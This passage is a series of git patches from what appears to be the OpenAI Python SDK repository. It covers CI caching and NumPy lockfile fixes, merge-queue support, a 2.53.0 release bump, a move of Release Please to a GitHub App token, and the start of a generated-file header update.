From b58332f8a0717f7b1effb1788a594011cee6e02f Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Mon, 3 Aug 2026 17:11:20 -0400
Subject: [PATCH 001/341] fix(ci): avoid NumPy source builds and duplicate
HTTPX coverage (#3573)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Root cause
- Rye caching was disabled, and the lockfiles pinned a NumPy version
without Python 3.14 wheels, forcing slow source builds.
- The HTTPX 2 job reran the ordinary HTTPX suite already covered by the
main test matrix.
- Separately, `uv.lock` lacked the Release Please marker needed to keep
its SDK version current.
## Fix
- Restore Python-specific Rye environment caching and select prebuilt
NumPy wheels for each supported interpreter.
- Run only the HTTPX 2 suite in the HTTPX 2 job.
- Add the missing Release Please annotation and register `uv.lock` for
release updates.
## Results
- HTTPX 2: **10m42s → 2m12s**
- Python 3.14: **8m37s → 1m53s**
Validated with lint, SDK builds, lockfile checks, and both HTTPX/HTTPX 2
suites under Pydantic 1 and 2.
Fixes
[SDK-221](https://linear.app/openai/issue/SDK-221/python-ci-takes-too-long-because-numpy-is-compiled-from-scratch).
---
.github/workflows/ci.yml | 23 ++++++++++++++++++-----
release-please-config.json | 3 ++-
requirements-dev.lock | 22 +++++++++++++++-------
requirements.lock | 16 +++++++++++-----
uv.lock | 2 +-
5 files changed, 47 insertions(+), 19 deletions(-)
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 89011bf0f5..c38cd0d254 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -167,6 +167,12 @@ jobs:
version: '0.44.0'
enable-cache: false
+ - name: Cache Rye virtual environment
+ uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
+ with:
+ path: .venv
+ key: rye-${{ runner.os }}-${{ runner.arch }}-${{ steps.setup-python.outputs.python-version }}-${{ hashFiles('requirements.lock', 'requirements-dev.lock') }}
+
- name: Select Python ${{ matrix.python-version }}
run: |
rye toolchain register "${{ steps.setup-python.outputs.python-path }}"
@@ -198,17 +204,18 @@ jobs:
version: '0.44.0'
enable-cache: false
+ - name: Cache Rye virtual environment
+ uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
+ with:
+ path: .venv
+ key: rye-${{ runner.os }}-${{ runner.arch }}-${{ steps.setup-python.outputs.python-version }}-${{ hashFiles('requirements.lock', 'requirements-dev.lock') }}
+
- name: Install HTTPX2 test dependencies
run: |
rye toolchain register "${{ steps.setup-python.outputs.python-path }}"
rye pin --relaxed --no-update-requires-python 3.14
rye sync --all-features
- - name: Run tests with HTTPX and HTTPX2 installed
- env:
- OPENAI_TEST_HTTP_CLIENT: httpx
- run: ./scripts/test
-
- name: Run tests with HTTPX2
env:
OPENAI_TEST_HTTP_CLIENT: httpx2
@@ -295,6 +302,12 @@ jobs:
version: '0.44.0'
enable-cache: false
+ - name: Cache Rye virtual environment
+ uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
+ with:
+ path: .venv
+ key: rye-${{ runner.os }}-${{ runner.arch }}-${{ steps.setup-python.outputs.python-version }}-${{ hashFiles('requirements.lock', 'requirements-dev.lock') }}
+
- name: Select Python ${{ matrix.python-version }}
run: |
rye toolchain register "${{ steps.setup-python.outputs.python-path }}"
diff --git a/release-please-config.json b/release-please-config.json
index 2e4b90d047..4419fa0381 100644
--- a/release-please-config.json
+++ b/release-please-config.json
@@ -59,6 +59,7 @@
],
"release-type": "python",
"extra-files": [
- "src/openai/_version.py"
+ "src/openai/_version.py",
+ "uv.lock"
]
}
diff --git a/requirements-dev.lock b/requirements-dev.lock
index 9707c10a40..40db36e36c 100644
--- a/requirements-dev.lock
+++ b/requirements-dev.lock
@@ -7,7 +7,7 @@
# all-features: true
# with-sources: false
# generate-hashes: false
-# universal: false
+# universal: true
-e file:.
aiohappyeyeballs==2.7.1
@@ -27,7 +27,7 @@ argcomplete==3.6.3
# via nox
asttokens==3.0.1
# via inline-snapshot
-async-timeout==5.0.1
+async-timeout==5.0.1 ; python_full_version < '3.11'
# via aiohttp
attrs==25.4.0
# via aiohttp
@@ -39,7 +39,7 @@ attrs==25.4.0
azure-core==1.36.0
# via azure-identity
azure-identity==1.25.1
-backports-asyncio-runner==1.2.0
+backports-asyncio-runner==1.2.0 ; python_full_version < '3.11'
# via pytest-asyncio
botocore==1.42.97
# via openai
@@ -50,10 +50,14 @@ certifi==2026.1.4
cffi==2.0.0
# via cryptography
# via sounddevice
+ # via trio
charset-normalizer==3.4.4
# via requests
colorama==0.4.6
+ # via colorlog
# via griffe
+ # via pytest
+ # via tqdm
colorlog==6.10.1
# via nox
cryptography==46.0.3
@@ -67,7 +71,7 @@ distlib==0.4.0
# via virtualenv
distro==1.9.0
# via openai
-exceptiongroup==1.3.1
+exceptiongroup==1.3.1 ; python_full_version < '3.11'
# via anyio
# via pytest
# via trio
@@ -135,7 +139,11 @@ nest-asyncio==1.6.0
nodeenv==1.9.1
# via pyright
nox==2025.11.12
-numpy==2.0.2
+numpy==2.2.6 ; python_full_version < '3.11'
+ # via openai
+ # via pandas
+ # via pandas-stubs
+numpy==2.4.6 ; python_full_version >= '3.11'
# via openai
# via pandas
# via pandas-stubs
@@ -158,7 +166,7 @@ pluggy==1.6.0
propcache==0.5.2
# via aiohttp
# via yarl
-pycparser==2.23
+pycparser==2.23 ; implementation_name != 'PyPy'
# via cffi
pydantic==2.12.5
# via openai
@@ -205,7 +213,7 @@ sortedcontainers==2.4.0
sounddevice==0.5.3
# via openai
time-machine==2.19.0
-tomli==2.4.0
+tomli==2.4.0 ; python_full_version < '3.11'
# via dependency-groups
# via inline-snapshot
# via mypy
diff --git a/requirements.lock b/requirements.lock
index 5bc60ea2bf..7ec347011b 100644
--- a/requirements.lock
+++ b/requirements.lock
@@ -7,7 +7,7 @@
# all-features: true
# with-sources: false
# generate-hashes: false
-# universal: false
+# universal: true
-e file:.
aiohappyeyeballs==2.7.1
@@ -23,7 +23,7 @@ anyio==4.12.1
# via httpx
# via httpx2
# via openai
-async-timeout==5.0.1
+async-timeout==5.0.1 ; python_full_version < '3.11'
# via aiohttp
attrs==26.1.0
# via aiohttp
@@ -34,9 +34,11 @@ certifi==2026.1.4
# via httpx
cffi==2.0.0
# via sounddevice
+colorama==0.4.6 ; sys_platform == 'win32'
+ # via tqdm
distro==1.9.0
# via openai
-exceptiongroup==1.3.1
+exceptiongroup==1.3.1 ; python_full_version < '3.11'
# via anyio
frozenlist==1.8.0
# via aiohttp
@@ -67,7 +69,11 @@ jmespath==1.1.0
multidict==6.7.1
# via aiohttp
# via yarl
-numpy==2.0.2
+numpy==2.2.6 ; python_full_version < '3.11'
+ # via openai
+ # via pandas
+ # via pandas-stubs
+numpy==2.4.6 ; python_full_version >= '3.11'
# via openai
# via pandas
# via pandas-stubs
@@ -78,7 +84,7 @@ pandas-stubs==2.2.2.240807
propcache==0.5.2
# via aiohttp
# via yarl
-pycparser==2.23
+pycparser==2.23 ; implementation_name != 'PyPy'
# via cffi
pydantic==2.12.5
# via openai
diff --git a/uv.lock b/uv.lock
index 4d965f135b..914d236cf4 100644
--- a/uv.lock
+++ b/uv.lock
@@ -959,7 +959,7 @@ wheels = [
[[package]]
name = "openai"
-version = "2.48.0"
+version = "2.52.1" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 875a5c21353f43e6a4c3810c1cbaf56980f27f7b Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Mon, 3 Aug 2026 14:21:40 -0700
Subject: [PATCH 002/341] ci: prepare checks for merge queue (#3574)
---
.github/workflows/ci.yml | 12 ++++++++----
.github/workflows/detect-breaking-changes.yml | 9 ++++++---
2 files changed, 14 insertions(+), 7 deletions(-)
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index c38cd0d254..6b77b106e4 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -3,6 +3,7 @@ on:
push:
branches:
- '**'
+ - '!gh-readonly-queue/**'
- '!integrated/**'
- '!stl-preview-head/**'
- '!stl-preview-base/**'
@@ -13,6 +14,9 @@ on:
branches-ignore:
- 'stl-preview-head/**'
- 'stl-preview-base/**'
+ merge_group:
+ types:
+ - checks_requested
workflow_dispatch:
inputs:
release_pr:
@@ -33,7 +37,7 @@ jobs:
timeout-minutes: 10
name: lint
runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: (github.event_name == 'push' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
+ if: (github.event_name == 'push' || github.event_name == 'merge_group' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
@@ -50,7 +54,7 @@ jobs:
run: ./scripts/lint
build:
- if: (github.event_name == 'push' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
+ if: (github.event_name == 'push' || github.event_name == 'merge_group' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
timeout-minutes: 10
name: build
permissions:
@@ -146,7 +150,7 @@ jobs:
timeout-minutes: 15
name: test (Python ${{ matrix.python-version }})
runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: github.event_name == 'push' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork
+ if: github.event_name == 'push' || github.event_name == 'merge_group' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork
strategy:
fail-fast: false
matrix:
@@ -188,7 +192,7 @@ jobs:
timeout-minutes: 20
name: test (HTTPX2)
runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: github.event_name == 'push' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork
+ if: github.event_name == 'push' || github.event_name == 'merge_group' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
diff --git a/.github/workflows/detect-breaking-changes.yml b/.github/workflows/detect-breaking-changes.yml
index db660c03cf..a68f49dc31 100644
--- a/.github/workflows/detect-breaking-changes.yml
+++ b/.github/workflows/detect-breaking-changes.yml
@@ -4,6 +4,9 @@ on:
branches:
- main
- next
+ merge_group:
+ types:
+ - checks_requested
workflow_dispatch:
inputs:
release_pr:
@@ -23,9 +26,9 @@ jobs:
detect_breaking_changes:
runs-on: 'ubuntu-latest'
name: detect-breaking-changes
- if: github.repository == 'openai/openai-python' && (github.event_name == 'pull_request' || (inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main'))
+ if: github.repository == 'openai/openai-python' && (github.event_name == 'pull_request' || github.event_name == 'merge_group' || (inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main'))
env:
- BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || inputs.base_sha }}
+ BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || github.event_name == 'merge_group' && github.event.merge_group.base_sha || inputs.base_sha }}
FETCH_DEPTH: 0
steps:
- name: Calculate fetch-depth
@@ -37,7 +40,7 @@ jobs:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
- # Ensure we can check out the pull request base in the script below.
+ # Ensure the comparison base is available to the scripts below.
fetch-depth: ${{ env.FETCH_DEPTH }}
- name: Set up Rye
From 5e36cd326fa2ebe00260386e7a27fe1c8c02d4fd Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
<41898282+github-actions[bot]@users.noreply.github.com>
Date: Mon, 3 Aug 2026 21:37:41 +0000
Subject: [PATCH 003/341] release: 2.53.0 (#3575)
Automated Release PR
---
##
[2.53.0](https://github.com/openai/openai-python/compare/v2.52.1...v2.53.0)
(2026-08-03)
### Features
* **api:** Add gpt-5.5 and tool name/namespace to Responses types
([#3569](https://github.com/openai/openai-python/issues/3569))
([dd1202d](https://github.com/openai/openai-python/commit/dd1202d5dacff985861289c1d9c46996ded2d2a5))
### Bug Fixes
* **ci:** avoid NumPy source builds and duplicate HTTPX coverage
([#3573](https://github.com/openai/openai-python/issues/3573))
([b58332f](https://github.com/openai/openai-python/commit/b58332f8a0717f7b1effb1788a594011cee6e02f))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Justin Beckwith
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 12 ++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 16 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 2eb6922122..fffa4507c8 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "2.52.1"
+ ".": "2.53.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index b80caba06f..c3c2fca511 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,17 @@
# Changelog
+## [2.53.0](https://github.com/openai/openai-python/compare/v2.52.1...v2.53.0) (2026-08-03)
+
+
+### Features
+
+* **api:** Add gpt-5.5 and tool name/namespace to Responses types ([#3569](https://github.com/openai/openai-python/issues/3569)) ([dd1202d](https://github.com/openai/openai-python/commit/dd1202d5dacff985861289c1d9c46996ded2d2a5))
+
+
+### Bug Fixes
+
+* **ci:** avoid NumPy source builds and duplicate HTTPX coverage ([#3573](https://github.com/openai/openai-python/issues/3573)) ([b58332f](https://github.com/openai/openai-python/commit/b58332f8a0717f7b1effb1788a594011cee6e02f))
+
## 2.52.1 (2026-07-31)
Full Changelog: [v2.52.0...v2.52.1](https://github.com/openai/openai-python/compare/v2.52.0...v2.52.1)
diff --git a/pyproject.toml b/pyproject.toml
index 5f24787174..39c64c39da 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "2.52.1"
+version = "2.53.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index dae929bcc3..9e6904f22b 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,4 +1,4 @@
# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
__title__ = "openai"
-__version__ = "2.52.1" # x-release-please-version
+__version__ = "2.53.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 914d236cf4..75a7947d5c 100644
--- a/uv.lock
+++ b/uv.lock
@@ -959,7 +959,7 @@ wheels = [
[[package]]
name = "openai"
-version = "2.52.1" # x-release-please-version
+version = "2.53.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From 0c09a3fe815184f0a46fbf18b1aba84a467c854e Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Tue, 4 Aug 2026 15:23:19 -0700
Subject: [PATCH 004/341] ci: use GitHub App for Release Please (#3577)
## Summary
- mint a repository-scoped installation token for the `openai-sdks`
GitHub App from environment configuration
- pass that token to Release Please and disable the release job's
built-in `GITHUB_TOKEN` permissions
- remove the manual workflow-dispatch workaround now that release branch
pushes and pull-request events trigger Actions normally
- keep API-key-backed example jobs off the automated Release Please
branch
## Why
Release Please currently authenticates with `GITHUB_TOKEN`. Events
created with that token do not normally start downstream workflows,
which required a separate dispatch job and release-specific workflow
inputs. A GitHub App installation token triggers the normal push and
pull-request workflows, so the workaround can be deleted.
## Repository configuration
- verified App: `openai-sdks` (App ID `3705508`, client ID
`Iv23li2AtcmhLHO07J87`)
- dedicated environment: `release`
- environment variable: `OPENAI_SDKS_APP_CLIENT_ID`
- environment secret: `OPENAI_SDKS_APP_PRIVATE_KEY`
- the environment is restricted to `main` and has no required-reviewer
or wait-timer gate
The `release` environment now contains both App credentials expected by
the workflow.
## Validation
- `./scripts/lint`
- `actionlint` v1.7.7 on the changed workflows
- `git diff origin/main...HEAD --check`
---
.github/workflows/ci.yml | 18 ++--
.github/workflows/create-releases.yml | 95 +++----------------
.github/workflows/detect-breaking-changes.yml | 17 +---
3 files changed, 22 insertions(+), 108 deletions(-)
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 6b77b106e4..70a27d8ead 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -18,12 +18,6 @@ on:
types:
- checks_requested
workflow_dispatch:
- inputs:
- release_pr:
- description: Run required CI for a Release Please branch
- required: false
- default: false
- type: boolean
# Exercise the complete supported matrix and the next CPython prerelease
# even when the repository has not changed.
schedule:
@@ -37,7 +31,7 @@ jobs:
timeout-minutes: 10
name: lint
runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: (github.event_name == 'push' || github.event_name == 'merge_group' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
+ if: (github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
@@ -54,7 +48,7 @@ jobs:
run: ./scripts/lint
build:
- if: (github.event_name == 'push' || github.event_name == 'merge_group' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
+ if: (github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
timeout-minutes: 10
name: build
permissions:
@@ -150,7 +144,7 @@ jobs:
timeout-minutes: 15
name: test (Python ${{ matrix.python-version }})
runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: github.event_name == 'push' || github.event_name == 'merge_group' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork
+ if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
strategy:
fail-fast: false
matrix:
@@ -192,7 +186,7 @@ jobs:
timeout-minutes: 20
name: test (HTTPX2)
runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: github.event_name == 'push' || github.event_name == 'merge_group' || (github.event_name == 'workflow_dispatch' && inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main') || github.event.pull_request.head.repo.fork
+ if: github.event_name == 'push' || github.event_name == 'merge_group' || github.event.pull_request.head.repo.fork
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
@@ -230,7 +224,7 @@ jobs:
name: examples
environment: ci
runs-on: ${{ startsWith(github.repository, 'stainless-sdks/') && 'depot-ubuntu-24.04' || 'ubuntu-latest' }}
- if: github.repository == 'openai/openai-python' && (github.event_name == 'push' || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
+ if: github.repository == 'openai/openai-python' && github.ref != 'refs/heads/release-please--branches--main' && (github.event_name == 'push' || github.event.pull_request.head.repo.fork) && (github.event_name != 'push' || github.event.head_commit.message != 'codegen metadata')
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
@@ -270,7 +264,7 @@ jobs:
timeout-minutes: 20
name: compatibility (Python ${{ matrix.python-version }})
runs-on: ubuntu-latest
- if: github.event_name == 'schedule' || (github.event_name == 'workflow_dispatch' && !inputs.release_pr)
+ if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
continue-on-error: ${{ matrix.experimental }}
strategy:
fail-fast: false
diff --git a/.github/workflows/create-releases.yml b/.github/workflows/create-releases.yml
index 51264e6dfa..cb1c8cc427 100644
--- a/.github/workflows/create-releases.yml
+++ b/.github/workflows/create-releases.yml
@@ -9,99 +9,30 @@ jobs:
name: release
if: github.ref == 'refs/heads/main' && github.repository == 'openai/openai-python'
runs-on: ubuntu-latest
+ environment: release
outputs:
releases_created: ${{ steps.release.outputs.releases_created }}
- release_pr_branch: ${{ steps.release_pr.outputs.branch }}
- release_pr_number: ${{ steps.release_pr.outputs.number }}
- # Release Please writes its PR branch, tags/releases, PR, and PR labels.
- permissions:
- contents: write
- issues: write
- pull-requests: write
+ permissions: {}
steps:
+ - name: Create release app token
+ id: app-token
+ uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
+ with:
+ client-id: ${{ vars.OPENAI_SDKS_APP_CLIENT_ID }}
+ private-key: ${{ secrets.OPENAI_SDKS_APP_PRIVATE_KEY }}
+ permission-contents: write
+ permission-issues: write
+ permission-pull-requests: write
+
- uses: googleapis/release-please-action@45996ed1f6d02564a971a2fa1b5860e934307cf7 # v5.0.0
id: release
with:
- token: ${{ secrets.GITHUB_TOKEN }}
+ token: ${{ steps.app-token.outputs.token }}
target-branch: main
config-file: release-please-config.json
manifest-file: .release-please-manifest.json
- - name: Capture release PR
- if: steps.release.outputs.prs_created == 'true'
- id: release_pr
- env:
- RELEASE_PR: ${{ steps.release.outputs.pr }}
- run: |
- branch="$(jq -er '.headBranchName | select(. == "release-please--branches--main")' <<<"$RELEASE_PR")"
- number="$(jq -er '.number | select(type == "number")' <<<"$RELEASE_PR")"
- echo "branch=$branch" >> "$GITHUB_OUTPUT"
- echo "number=$number" >> "$GITHUB_OUTPUT"
-
- release-pr-ci:
- name: release PR CI
- needs: release
- if: ${{ needs.release.outputs.release_pr_branch != '' }}
- runs-on: ubuntu-latest
- # Read the release PR's current base SHA, then dispatch its required
- # workflows. Keeping this separate prevents Release Please from receiving
- # Actions write access.
- permissions:
- actions: write
- pull-requests: read
-
- steps:
- - name: Run required checks for release PR
- uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8
- env:
- RELEASE_PR_BRANCH: ${{ needs.release.outputs.release_pr_branch }}
- RELEASE_PR_NUMBER: ${{ needs.release.outputs.release_pr_number }}
- with:
- github-token: ${{ secrets.GITHUB_TOKEN }}
- script: |
- const expectedRef = process.env.RELEASE_PR_BRANCH;
- const pullNumber = Number(process.env.RELEASE_PR_NUMBER);
- if (!Number.isSafeInteger(pullNumber) || pullNumber <= 0) {
- throw new Error('Release Please returned an invalid PR number');
- }
-
- const { data: pull } = await github.rest.pulls.get({
- owner: context.repo.owner,
- repo: context.repo.repo,
- pull_number: pullNumber,
- });
- if (pull.head.ref !== expectedRef) {
- throw new Error(`Release PR branch changed: expected ${expectedRef}, got ${pull.head.ref}`);
- }
-
- const ref = pull.head.ref;
- await Promise.all([
- github.rest.actions.createWorkflowDispatch({
- owner: context.repo.owner,
- repo: context.repo.repo,
- workflow_id: 'ci.yml',
- ref,
- inputs: { release_pr: 'true' },
- }),
- github.rest.actions.createWorkflowDispatch({
- owner: context.repo.owner,
- repo: context.repo.repo,
- workflow_id: 'detect-breaking-changes.yml',
- ref,
- inputs: {
- release_pr: 'true',
- base_sha: pull.base.sha,
- },
- }),
- github.rest.actions.createWorkflowDispatch({
- owner: context.repo.owner,
- repo: context.repo.repo,
- workflow_id: 'codeql.yml',
- ref,
- }),
- ]);
-
build:
name: build
needs: release
diff --git a/.github/workflows/detect-breaking-changes.yml b/.github/workflows/detect-breaking-changes.yml
index a68f49dc31..a1d2624e5d 100644
--- a/.github/workflows/detect-breaking-changes.yml
+++ b/.github/workflows/detect-breaking-changes.yml
@@ -7,17 +7,6 @@ on:
merge_group:
types:
- checks_requested
- workflow_dispatch:
- inputs:
- release_pr:
- description: Run checks for a Release Please branch
- required: false
- default: false
- type: boolean
- base_sha:
- description: Base commit for breaking-change comparison
- required: false
- type: string
permissions:
contents: read
@@ -26,9 +15,9 @@ jobs:
detect_breaking_changes:
runs-on: 'ubuntu-latest'
name: detect-breaking-changes
- if: github.repository == 'openai/openai-python' && (github.event_name == 'pull_request' || github.event_name == 'merge_group' || (inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main'))
+ if: github.repository == 'openai/openai-python' && (github.event_name == 'pull_request' || github.event_name == 'merge_group')
env:
- BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || github.event_name == 'merge_group' && github.event.merge_group.base_sha || inputs.base_sha }}
+ BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || github.event.merge_group.base_sha }}
FETCH_DEPTH: 0
steps:
- name: Calculate fetch-depth
@@ -63,7 +52,7 @@ jobs:
agents_sdk:
runs-on: 'ubuntu-latest'
name: Detect Agents SDK regressions
- if: github.repository == 'openai/openai-python' && (github.event_name == 'pull_request' || (inputs.release_pr && github.ref == 'refs/heads/release-please--branches--main'))
+ if: github.repository == 'openai/openai-python' && github.event_name == 'pull_request'
steps:
# Setup this sdk
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
From ea17fda01d7067a6d829effa437952a09f2bb3a3 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Mon, 10 Aug 2026 13:12:33 -0400
Subject: [PATCH 005/341] chore(api): Update generated-file header attribution
to Castiron (#3583)
## Summary
- Update attribution headers in generated SDK files.
- Regenerate the SDK from the latest API reference.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +++++-----
api_reference/openapi.transformed.yml | 6 ++----
src/openai/__init__.py | 2 +-
src/openai/_client.py | 2 +-
src/openai/_module_client.py | 2 +-
src/openai/resources/__init__.py | 2 +-
src/openai/resources/admin/__init__.py | 2 +-
src/openai/resources/admin/admin.py | 2 +-
src/openai/resources/admin/organization/__init__.py | 2 +-
.../resources/admin/organization/admin_api_keys.py | 2 +-
src/openai/resources/admin/organization/audit_logs.py | 2 +-
.../resources/admin/organization/certificates.py | 2 +-
.../resources/admin/organization/data_retention.py | 2 +-
.../resources/admin/organization/groups/__init__.py | 2 +-
.../resources/admin/organization/groups/groups.py | 2 +-
.../resources/admin/organization/groups/roles.py | 2 +-
.../resources/admin/organization/groups/users.py | 2 +-
src/openai/resources/admin/organization/invites.py | 2 +-
.../resources/admin/organization/organization.py | 2 +-
.../resources/admin/organization/projects/__init__.py | 2 +-
.../resources/admin/organization/projects/api_keys.py | 2 +-
.../admin/organization/projects/certificates.py | 2 +-
.../admin/organization/projects/data_retention.py | 2 +-
.../admin/organization/projects/groups/__init__.py | 2 +-
.../admin/organization/projects/groups/groups.py | 2 +-
.../admin/organization/projects/groups/roles.py | 2 +-
.../organization/projects/hosted_tool_permissions.py | 2 +-
.../admin/organization/projects/model_permissions.py | 2 +-
.../resources/admin/organization/projects/projects.py | 2 +-
.../admin/organization/projects/rate_limits.py | 2 +-
.../resources/admin/organization/projects/roles.py | 2 +-
.../organization/projects/service_accounts/__init__.py | 2 +-
.../organization/projects/service_accounts/api_keys.py | 2 +-
.../projects/service_accounts/service_accounts.py | 2 +-
.../admin/organization/projects/spend_alerts.py | 2 +-
.../admin/organization/projects/spend_limit.py | 2 +-
.../admin/organization/projects/users/__init__.py | 2 +-
.../admin/organization/projects/users/roles.py | 2 +-
.../admin/organization/projects/users/users.py | 2 +-
src/openai/resources/admin/organization/roles.py | 2 +-
.../resources/admin/organization/spend_alerts.py | 2 +-
src/openai/resources/admin/organization/spend_limit.py | 2 +-
src/openai/resources/admin/organization/usage.py | 2 +-
.../resources/admin/organization/users/__init__.py | 2 +-
src/openai/resources/admin/organization/users/roles.py | 2 +-
src/openai/resources/admin/organization/users/users.py | 2 +-
src/openai/resources/audio/__init__.py | 2 +-
src/openai/resources/audio/audio.py | 2 +-
src/openai/resources/audio/speech.py | 2 +-
src/openai/resources/audio/transcriptions.py | 2 +-
src/openai/resources/audio/translations.py | 2 +-
src/openai/resources/batches.py | 2 +-
src/openai/resources/beta/__init__.py | 2 +-
src/openai/resources/beta/assistants.py | 2 +-
src/openai/resources/beta/beta.py | 2 +-
src/openai/resources/beta/chatkit/__init__.py | 2 +-
src/openai/resources/beta/chatkit/chatkit.py | 2 +-
src/openai/resources/beta/chatkit/sessions.py | 2 +-
src/openai/resources/beta/chatkit/threads.py | 2 +-
src/openai/resources/beta/responses/__init__.py | 2 +-
src/openai/resources/beta/responses/input_items.py | 2 +-
src/openai/resources/beta/responses/input_tokens.py | 2 +-
